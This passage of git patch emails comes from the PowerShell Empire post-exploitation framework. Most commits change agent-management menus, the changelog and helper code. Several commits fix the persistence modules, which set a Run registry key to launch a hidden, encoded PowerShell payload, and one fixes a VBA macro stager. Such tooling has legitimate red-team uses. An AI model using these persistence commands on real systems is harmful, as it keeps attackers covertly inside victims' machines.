AgentsMenu(cmd.Cmd): self.mainMenu.agents.remove_agent('%') except KeyboardInterrupt as e: print "" - else: + if name.isdigit(): + # if we're removing agents that checked in longer than X minutes ago + agents = self.mainMenu.agents.get_agents() + try: + minutes = int(line.strip()) + + # grab just the agents active within the specified window (in minutes) + for agent in agents: + + sessionID = self.mainMenu.agents.get_agent_id(agent[3]) + + # get the agent last check in time + agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S")) + + if agentTime < time.mktime(time.localtime()) - (int(minutes) * 60): + # if the last checkin time exceeds the limit, remove it + self.mainMenu.agents.remove_agent(sessionID) + + except: + print helpers.color("[!] Please enter the minute window for agent checkin.") + + else: # extract the sessionID and clear the agent tasking sessionID = self.mainMenu.agents.get_agent_id(name) @@ -1052,6 +1075,7 @@ class AgentsMenu(cmd.Cmd): return self.mainMenu.complete_creds(text, line, begidx, endidx) + class AgentMenu(cmd.Cmd): def __init__(self, mainMenu, sessionID): From 6b11aba29d8226e4fce48569745c12a3cba1ab68 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 11 Aug 2015 21:59:19 -0400 Subject: [PATCH 09/26] Added "list stale" and "remove stale" agents commands to list/remove agents past their max checkins. --- changelog | 1 + lib/common/empire.py | 46 ++++++++++++++++++++++++++++++++++++++++++-- 2 files changed, 45 insertions(+), 2 deletions(-) diff --git a/changelog b/changelog index 40cc231..85dbe5f 100644 --- a/changelog +++ b/changelog @@ -2,6 +2,7 @@ --------- -Merged in Lost Agent Detection -"agents> remove X" now removes agents that checked in > X minutes ago +-"agents> list stale" and "agents> remove stale" now list/remove stale agents past their max checkins 8/10/2015 --------- diff --git a/lib/common/empire.py b/lib/common/empire.py index 862da14..71ecc06 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -628,7 +628,28 @@ class AgentsMenu(cmd.Cmd): agents = self.mainMenu.agents.get_agents() - if line.strip() != "": + if line.strip().lower() == "stale": + + displayAgents = [] + + for agent in agents: + + sessionID = self.mainMenu.agents.get_agent_id(agent[3]) + + # max check in -> delay + delay*jitter + intervalMax = agent[4] + agent[4] * agent[5] + + # get the agent last check in time + agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S")) + + if agentTime < time.mktime(time.localtime()) - intervalMax: + # if the last checkin time exceeds the limit, remove it + displayAgents.append(agent) + + messages.display_agents(displayAgents) + + + elif line.strip() != "": # if we're listing an agents active in the last X minutes try: minutes = int(line.strip()) @@ -913,7 +934,27 @@ class AgentsMenu(cmd.Cmd): self.mainMenu.agents.remove_agent('%') except KeyboardInterrupt as e: print "" - if name.isdigit(): + elif name.lower() == "stale": + # remove 'stale' agents that have missed their checkin intervals + + agents = self.mainMenu.agents.get_agents() + + for agent in agents: + + sessionID = self.mainMenu.agents.get_agent_id(agent[3]) + + # max check in -> delay + delay*jitter + intervalMax = agent[4] + agent[4] * agent[5] + + # get the agent last check in time + agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S")) + + if agentTime < time.mktime(time.localtime()) - intervalMax: + # if the last checkin time exceeds the limit, remove it + self.mainMenu.agents.remove_agent(sessionID) + + + elif name.isdigit(): # if we're removing agents that checked in longer than X minutes ago agents = self.mainMenu.agents.get_agents() @@ -936,6 +977,7 @@ class AgentsMenu(cmd.Cmd): print helpers.color("[!] Please enter the minute window for agent checkin.") else: + print "agent name!" # extract the sessionID and clear the agent tasking sessionID = self.mainMenu.agents.get_agent_id(name) From 2140196c6d22b337b5131bb1bc06f189b28a0530 Mon Sep 17 00:00:00 2001 From: enigma0x3 Date: Wed, 12 Aug 2015 08:59:36 -0400 Subject: [PATCH 10/26] added additional delay to intervalmax Ensures only stale agents are actually listed. --- lib/common/empire.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/common/empire.py b/lib/common/empire.py index 71ecc06..1b3ceb6 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -637,11 +637,10 @@ class AgentsMenu(cmd.Cmd): sessionID = self.mainMenu.agents.get_agent_id(agent[3]) # max check in -> delay + delay*jitter - intervalMax = agent[4] + agent[4] * agent[5] + intervalMax = (agent[4] + agent[4] * agent[5])+30 # get the agent last check in time agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S")) - if agentTime < time.mktime(time.localtime()) - intervalMax: # if the last checkin time exceeds the limit, remove it displayAgents.append(agent) @@ -944,7 +943,7 @@ class AgentsMenu(cmd.Cmd): sessionID = self.mainMenu.agents.get_agent_id(agent[3]) # max check in -> delay + delay*jitter - intervalMax = agent[4] + agent[4] * agent[5] + intervalMax = (agent[4] + agent[4] * agent[5])+30 # get the agent last check in time agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S")) From b3caa66b4d99a397c0580095840aa3a02df94748 Mon Sep 17 00:00:00 2001 From: enigma0x3 Date: Wed, 12 Aug 2015 11:43:51 -0400 Subject: [PATCH 11/26] Update empire.py --- lib/common/empire.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/common/empire.py b/lib/common/empire.py index 1b3ceb6..53ae454 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -645,7 +645,7 @@ class AgentsMenu(cmd.Cmd): # if the last checkin time exceeds the limit, remove it displayAgents.append(agent) - messages.display_agents(displayAgents) + messages.display_staleagents(displayAgents) elif line.strip() != "": From c521dd76d9e31849486293c5af107073e5a2c438 Mon Sep 17 00:00:00 2001 From: enigma0x3 Date: Wed, 12 Aug 2015 11:44:28 -0400 Subject: [PATCH 12/26] Update messages.py --- lib/common/messages.py | 51 +++++++++++++++++++++++++++++------------- 1 file changed, 36 insertions(+), 15 deletions(-) diff --git a/lib/common/messages.py b/lib/common/messages.py index 9172b7e..e2f580d 100644 --- a/lib/common/messages.py +++ b/lib/common/messages.py @@ -113,29 +113,50 @@ def display_options(options, color=True): else: print "\t%s\t%s" % ('{0: <16}'.format(key), wrap_string(options[key])) +def agent_print (agents): + """ + Take an agent dictionary and display everything nicely. + """ + print "" + print helpers.color("[*] Active agents:\n") + print " Name Internal IP Machine Name Username Process Delay Last Seen" + print " --------- ----------- ------------ --------- ------- ----- --------------------" + + for agent in agents: + [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit] = agent + if str(high_integrity) == "1": + # add a * to the username if it's high integrity + username = "*" + username + print " %.19s%.16s%.16s%.20s%.20s%.9s%.20s" % ('{0: <19}'.format(name),'{0: <16}'.format(internal_ip),'{0: <16}'.format(hostname),'{0: <20}'.format(username), '{0: <20}'.format(str(process_name)+"/"+str(process_id)), '{0: <9}'.format(str(delay)+"/"+str(jitter)), lastseen_time) + + print "" def display_agents(agents): + + if len(agents)>0: + agent_print(agents) + else: + print helpers.color("[!] No agents currently registered ") + + + +def display_staleagents(agents): """ Take an agent dictionary and display everything nicely. """ if len(agents)>0: - print "" - print helpers.color("[*] Active agents:\n") - print " Name Internal IP Machine Name Username Process Delay Last Seen" - print " --------- ----------- ------------ --------- ------- ----- --------------------" - - for agent in agents: - [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit] = agent - if str(high_integrity) == "1": - # add a * to the username if it's high integrity - username = "*" + username - print " %.19s%.16s%.16s%.20s%.20s%.9s%.20s" % ('{0: <19}'.format(name),'{0: <16}'.format(internal_ip),'{0: <16}'.format(hostname),'{0: <20}'.format(username), '{0: <20}'.format(str(process_name)+"/"+str(process_id)), '{0: <9}'.format(str(delay)+"/"+str(jitter)), lastseen_time) - - print "" - + agent_print(agents) else: - print helpers.color("[!] No agents currently registered ") + print helpers.color("[!] No stale agents currently registered ") + + + + + + + + def display_agent(agent): From fef9aa88726c63bf66b0ca8c1522e368f7e795af Mon Sep 17 00:00:00 2001 From: enigma0x3 Date: Wed, 12 Aug 2015 12:51:07 -0400 Subject: [PATCH 13/26] Update changelog --- changelog | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/changelog b/changelog index 85dbe5f..6216c07 100644 --- a/changelog +++ b/changelog @@ -1,3 +1,9 @@ +8/12/2015 +-------- +-Merged in list stale and remove stale functionality +-Fixed delay in list stale feature +-Fixed active agent message in list stale feature + 8/11/2015 --------- -Merged in Lost Agent Detection From 2aa0f829f4b400096e3a7cb4c79da12557d6936f Mon Sep 17 00:00:00 2001 From: enigma0x3 Date: Wed, 12 Aug 2015 17:38:40 -0400 Subject: [PATCH 14/26] Update registry.py Made listener requiered. --- lib/modules/persistence/userland/registry.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/modules/persistence/userland/registry.py b/lib/modules/persistence/userland/registry.py index f0f72ed..9b308ba 100644 --- a/lib/modules/persistence/userland/registry.py +++ b/lib/modules/persistence/userland/registry.py @@ -39,7 +39,7 @@ class Module: }, 'Listener' : { 'Description' : 'Listener to use.', - 'Required' : False, + 'Required' : True, 'Value' : '' }, 'KeyName' : { @@ -233,4 +233,4 @@ class Module: script += "'Registry persistence established "+statusMsg+"'" - return script \ No newline at end of file + return script From d1484cd0cb8c1efc993a69450903d42152ba244a Mon Sep 17 00:00:00 2001 From: enigma0x3 Date: Wed, 12 Aug 2015 17:43:00 -0400 Subject: [PATCH 15/26] Update registry.py --- lib/modules/persistence/userland/registry.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/modules/persistence/userland/registry.py b/lib/modules/persistence/userland/registry.py index 9b308ba..c4e214e 100644 --- a/lib/modules/persistence/userland/registry.py +++ b/lib/modules/persistence/userland/registry.py @@ -39,7 +39,7 @@ class Module: }, 'Listener' : { 'Description' : 'Listener to use.', - 'Required' : True, + 'Required' : False, 'Value' : '' }, 'KeyName' : { From af1e28d75b91de62ad9dff85231ac790d4fee9ab Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 12 Aug 2015 17:45:04 -0400 Subject: [PATCH 16/26] Bug fix in stagers/macro module. --- lib/stagers/macro.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/stagers/macro.py b/lib/stagers/macro.py index 5240b55..fa1be67 100644 --- a/lib/stagers/macro.py +++ b/lib/stagers/macro.py @@ -74,7 +74,8 @@ class Stager: return "" else: chunks = list(helpers.chunks(launcher, 50)) - payload = "\tSet str = \"" + str(chunks[0]) + "\"\n" + payload = "\tDim Str As String\n" + payload += "\tSet str = \"" + str(chunks[0]) + "\"\n" for chunk in chunks[1:]: payload += "\tstr = str + \"" + str(chunk) + "\"\n" From 45768be3b3b9c10aa088b11b034367c4bc472b1a Mon Sep 17 00:00:00 2001 From: enigma0x3 Date: Wed, 12 Aug 2015 18:30:08 -0400 Subject: [PATCH 17/26] Update registry.py Updated to fix execution of registry key --- lib/modules/persistence/userland/registry.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/modules/persistence/userland/registry.py b/lib/modules/persistence/userland/registry.py index c4e214e..8026846 100644 --- a/lib/modules/persistence/userland/registry.py +++ b/lib/modules/persistence/userland/registry.py @@ -229,7 +229,7 @@ class Module: # set the run key to extract the encoded script from the specified location # and start powershell.exe in the background with the encoded command - script += "$null=Set-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+" -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";start -Win Hidden -A \"-enc $x\" powershell\"';" + script += "$null=Set-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+" -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";powershell -Win Hidden -enc $x\"';" script += "'Registry persistence established "+statusMsg+"'" From 832d5106cf1db0d90532dade6abe99f454e21c1b Mon Sep 17 00:00:00 2001 From: enigma0x3 Date: Wed, 12 Aug 2015 18:31:35 -0400 Subject: [PATCH 18/26] Update registry.py --- lib/modules/persistence/userland/registry.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/modules/persistence/userland/registry.py b/lib/modules/persistence/userland/registry.py index 8026846..58bac3e 100644 --- a/lib/modules/persistence/userland/registry.py +++ b/lib/modules/persistence/userland/registry.py @@ -50,7 +50,7 @@ class Module: 'RegPath' : { 'Description' : 'Registry location to store the script code. Last element is the key name.', 'Required' : False, - 'Value' : 'HKCU:Software\Microsoft\Windows\CurrentVersion\Run' + 'Value' : 'HKCU:Software\Microsoft\Windows\CurrentVersion\Debug' }, 'ADSPath' : { 'Description' : 'Alternate-data-stream location to store the script code.', From dd25cd54b1b90e86e4ecd6323c9231b01e5ab389 Mon Sep 17 00:00:00 2001 From: enigma0x3 Date: Wed, 12 Aug 2015 18:37:14 -0400 Subject: [PATCH 19/26] Update registry.py fixed registry parsing --- lib/modules/persistence/elevated/registry.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/modules/persistence/elevated/registry.py b/lib/modules/persistence/elevated/registry.py index 2cb257c..3c29279 100644 --- a/lib/modules/persistence/elevated/registry.py +++ b/lib/modules/persistence/elevated/registry.py @@ -199,8 +199,8 @@ class Module: locationString = "$((gp "+path+" "+name+")."+name+")" - script += "$null=Set-ItemProperty -Force -Path HKLM:Software\\Microsoft\Windows\\CurrentVersion\\Run\\ -Name "+keyName+" -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"start -Win Hidden -A \"-enc "+locationString+"\" powershell\"';" + script += "$null=Set-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+" -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";powershell -Win Hidden -enc $x\"';" script += "'Registry persistence established "+statusMsg+"'" - return script \ No newline at end of file + return script From 1949fd8535ad51c01ebe3b45975bb904b285f46f Mon Sep 17 00:00:00 2001 From: enigma0x3 Date: Wed, 12 Aug 2015 18:43:24 -0400 Subject: [PATCH 20/26] Update registry.py --- lib/modules/persistence/elevated/registry.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/modules/persistence/elevated/registry.py b/lib/modules/persistence/elevated/registry.py index 3c29279..c83582e 100644 --- a/lib/modules/persistence/elevated/registry.py +++ b/lib/modules/persistence/elevated/registry.py @@ -50,7 +50,7 @@ class Module: 'RegPath' : { 'Description' : 'Registry location to store the script code. Last element is the key name.', 'Required' : False, - 'Value' : 'HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run' + 'Value' : 'HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug' }, 'ADSPath' : { 'Description' : 'Alternate-data-stream location to store the script code.', From 0f691e780fd454e35c00c691845ca9f6d9f3b535 Mon Sep 17 00:00:00 2001 From: enigma0x3 Date: Wed, 12 Aug 2015 18:48:12 -0400 Subject: [PATCH 21/26] Update schtasks.py fixed registry storage --- lib/modules/persistence/userland/schtasks.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/modules/persistence/userland/schtasks.py b/lib/modules/persistence/userland/schtasks.py index 8bbd76e..a9e36f2 100644 --- a/lib/modules/persistence/userland/schtasks.py +++ b/lib/modules/persistence/userland/schtasks.py @@ -59,7 +59,7 @@ class Module: 'RegPath' : { 'Description' : 'Registry location to store the script code. Last element is the key name.', 'Required' : False, - 'Value' : 'HKCU:\Software\Microsoft\Installer\debug' + 'Value' : 'HKCU:\Software\Microsoft\Windows\CurrentVersion\debug' }, 'ADSPath' : { 'Description' : 'Alternate-data-stream location to store the script code.', @@ -231,4 +231,4 @@ class Module: script += "'Schtasks persistence established "+statusMsg+"'" - return script \ No newline at end of file + return script From 72c1d4b5beb00f06f2e1d8a7506c2fe9bc8b692a Mon Sep 17 00:00:00 2001 From: enigma0x3 Date: Wed, 12 Aug 2015 18:51:24 -0400 Subject: [PATCH 22/26] Update changelog --- changelog | 1 + 1 file changed, 1 insertion(+) diff --git a/changelog b/changelog index 6216c07..4e195e4 100644 --- a/changelog +++ b/changelog @@ -3,6 +3,7 @@ -Merged in list stale and remove stale functionality -Fixed delay in list stale feature -Fixed active agent message in list stale feature +-Fixed registry storage in schtasks and registry persistence modules (userland and elevated) 8/11/2015 --------- From 23fff125b4399992daa86087b0c09384de40b8bd Mon Sep 17 00:00:00 2001 From: enigma0x3 Date: Wed, 12 Aug 2015 21:13:18 -0400 Subject: [PATCH 23/26] Update install.sh reverted due to some issues --- setup/install.sh | 6 ------ 1 file changed, 6 deletions(-) diff --git a/setup/install.sh b/setup/install.sh index 4f0febe..8d0b12f 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -2,12 +2,6 @@ apt-get install python-pip -#ubuntu 14.04 LTS dependencies -apt-get install python-dev -apt-get install python-m2crypto -apt-get install swig -pip install pycrypto - #kali dependencies pip install iptools pip install pydispatcher From 27a04ea57684f4818f176fabfba0453e6d017708 Mon Sep 17 00:00:00 2001 From: enigma0x3 Date: Wed, 12 Aug 2015 21:14:43 -0400 Subject: [PATCH 24/26] Update install.sh --- setup/install.sh | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/setup/install.sh b/setup/install.sh index 8d0b12f..4f0febe 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -2,6 +2,12 @@ apt-get install python-pip +#ubuntu 14.04 LTS dependencies +apt-get install python-dev +apt-get install python-m2crypto +apt-get install swig +pip install pycrypto + #kali dependencies pip install iptools pip install pydispatcher From 58525861c62eed88f41661f390a5267d4b2bcc3e Mon Sep 17 00:00:00 2001 From: enigma0x3 Date: Thu, 13 Aug 2015 10:23:35 -0400 Subject: [PATCH 25/26] Update macro.py "Set" in VBA instantiates an object. A string var isn't defined as an object, so this fails. Updated to remove "Set" from initial str instantiation. --- lib/stagers/macro.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/stagers/macro.py b/lib/stagers/macro.py index fa1be67..d315b80 100644 --- a/lib/stagers/macro.py +++ b/lib/stagers/macro.py @@ -75,7 +75,7 @@ class Stager: else: chunks = list(helpers.chunks(launcher, 50)) payload = "\tDim Str As String\n" - payload += "\tSet str = \"" + str(chunks[0]) + "\"\n" + payload += "\tstr = \"" + str(chunks[0]) + "\"\n" for chunk in chunks[1:]: payload += "\tstr = str + \"" + str(chunk) + "\"\n" From f4b85d41d7bdbdef0b8b95bedc086e4d3a84ec4b Mon Sep 17 00:00:00 2001 From: sixdub Date: Thu, 13 Aug 2015 10:32:03 -0400 Subject: [PATCH 26/26] Fixed IOError --- lib/common/helpers.py | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/lib/common/helpers.py b/lib/common/helpers.py index 9e11575..483684b 100644 --- a/lib/common/helpers.py +++ b/lib/common/helpers.py @@ -352,19 +352,23 @@ def lhost(): import fcntl import struct def get_interface_ip(ifname): - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - return socket.inet_ntoa(fcntl.ioctl( - s.fileno(), - 0x8915, # SIOCGIFADDR - struct.pack('256s', ifname[:15]) - )[20:24]) + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + return socket.inet_ntoa(fcntl.ioctl( + s.fileno(), + 0x8915, # SIOCGIFADDR + struct.pack('256s', ifname[:15]) + )[20:24]) + except IOError as e: + return "" ip = socket.gethostbyname(socket.gethostname()) if ip.startswith("127.") and os.name != "nt": interfaces = ["eth0","eth1","eth2","wlan0","wlan1","wifi0","ath0","ath1","ppp0"] for ifname in interfaces: try: ip = get_interface_ip(ifname) - break + if ip != "": + break except: print "Unexpected error:", sys.exc_info()[0] pass